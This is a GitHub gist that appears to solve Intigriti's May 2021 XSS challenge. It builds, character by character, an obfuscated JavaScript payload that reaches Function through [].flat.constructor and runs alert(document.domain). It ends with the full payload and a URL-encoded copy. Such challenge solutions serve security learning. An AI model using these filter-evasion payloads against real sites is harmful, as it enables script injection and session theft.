Skip to content

Instantly share code, notes, and snippets.

@tomnomnom

tomnomnom/intigriti-xss-may-2021

Created June 7, 2021 14:03
Show Gist options
  • Save tomnomnom/6ed8761f9c3da255e671660c394236e8 to your computer and use it in GitHub Desktop.
Save tomnomnom/6ed8761f9c3da255e671660c394236e8 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. tomnomnom created this gist Jun 7, 2021.
    89 changes: 89 additions & 0 deletions intigriti-xss-may-2021
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,89 @@
    https://twitter.com/intigriti/status/1399317852788830211

    [][`flat`][`constructor`]`alert(document.domain)```

    `${e}` => [object HTMLProgressElement]
    `${[]/[]}` => NaN
    `${[][[]]}` => undefined

    flat
    constructor
    alert(document.domain)

    f => `${[][[]]}`[4]
    l => `${e}`[21]
    a => `${[]/[]}`[1]
    t => `${e}`[26]

    c => `${e}`[5]
    o => `${e}`[1]
    n => `${e}`[25]
    s => `${e}`[19]
    t => `${e}`[26]
    r => `${e}`[16]
    u => `${[][[]]}`[0]
    c => `${e}`[5]
    t => `${e}`[26]
    o => `${e}`[1]
    r => `${e}`[16]

    a => `${[]/[]}`[1]
    l => `${e}`[21]
    e => `e`
    r => `${e}`[16]
    t => `${e}`[26]


    ( => [[][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]]+``][0][13]
    ) => [[][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]]+``][0][14]

    flat => `${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]
    constructor => `${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[19]+`${e}`[26]+`${e}`[16]+`${[][[]]}`[0]+`${e}`[5]+`${e}`[26]+`${e}`[1]+`${e}`[16]
    alert => `${[]/[]}`[1]+`${e}`[21]+`e`+`${e}`[16]+`${e}`[26]

    so far: [][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[19]+`${e}`[26]+`${e}`[16]+`${[][[]]}`[0]+`${e}`[5]+`${e}`[26]+`${e}`[1]+`${e}`[16]]`alert(document.domain)```

    a => [[]+[]/[]][0][1]
    l => [[]+e][0][21]
    e => [[]+e][0][4]
    r => [[]+e][0][13]
    t => [[]+e][0][26]

    alert => [[]+[]/[]][0][1]+[[]+e][0][21]+[[]+e][0][4]+[[]+e][0][13]+[[]+e][0][26]

    f => [[]+[][[]]][0][4]
    l => [[]+e][0][21]
    a => [[]+[]/[]][0][1]
    t => [[]+e][0][26]

    flat => [[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]

    ( => [[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][13]
    ) => [[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][14]

    d => [[]+[][[]]][0][2]
    o => [[]+e][0][1]
    c => [[]+e][0][5]
    u => [[]+[][[]]][0][0]
    m => [[]+e][0][23]
    e => [[]+e][0][4]
    n => [[]+e][0][25]
    t => [[]+e][0][26]

    document => [[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][5]+[[]+[][[]]][0][0]+[[]+e][0][23]+[[]+e][0][4]+[[]+e][0][25]+[[]+e][0][26]

    . => [[]+13/37][0][1]

    d => [[]+[][[]]][0][2]
    o => [[]+e][0][1]
    m => [[]+e][0][23]
    a => [[]+[]/[]][0][1]
    i => [[]+[][[]]][0][5]
    n => [[]+e][0][25]

    domain => [[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][23]+[[]+[]/[]][0][1]+[[]+[][[]]][0][5]+[[]+e][0][25]


    final => [][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[19]+`${e}`[26]+`${e}`[16]+`${[][[]]}`[0]+`${e}`[5]+`${e}`[26]+`${e}`[1]+`${e}`[16]]`e${[[]+[]/[]][0][1]+[[]+e][0][21]+[[]+e][0][4]+[[]+e][0][13]+[[]+e][0][26]+[[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][13]+[[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][5]+[[]+[][[]]][0][0]+[[]+e][0][23]+[[]+e][0][4]+[[]+e][0][25]+[[]+e][0][26]+[[]+13/37][0][1]+[[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][23]+[[]+[]/[]][0][1]+[[]+[][[]]][0][5]+[[]+e][0][25]+[[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][14]}```

    urlencoded => %5B%5D%5B%60%24%7B%5B%5D%5B%5B%5D%5D%7D%60%5B4%5D%2B%60%24%7Be%7D%60%5B21%5D%2B%60%24%7B%5B%5D%2F%5B%5D%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B26%5D%5D%5B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B19%5D%2B%60%24%7Be%7D%60%5B26%5D%2B%60%24%7Be%7D%60%5B16%5D%2B%60%24%7B%5B%5D%5B%5B%5D%5D%7D%60%5B0%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B26%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B16%5D%5D%60e%24%7B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B21%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B13%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B21%5D%2B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%5D%5D%5B0%5D%5B13%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B2%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B5%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B0%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B23%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B25%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%2B%5B%5B%5D%2B13%2F37%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B2%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B23%5D%2B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B5%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B25%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B21%5D%2B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%5D%5D%5B0%5D%5B14%5D%7D%60%60%60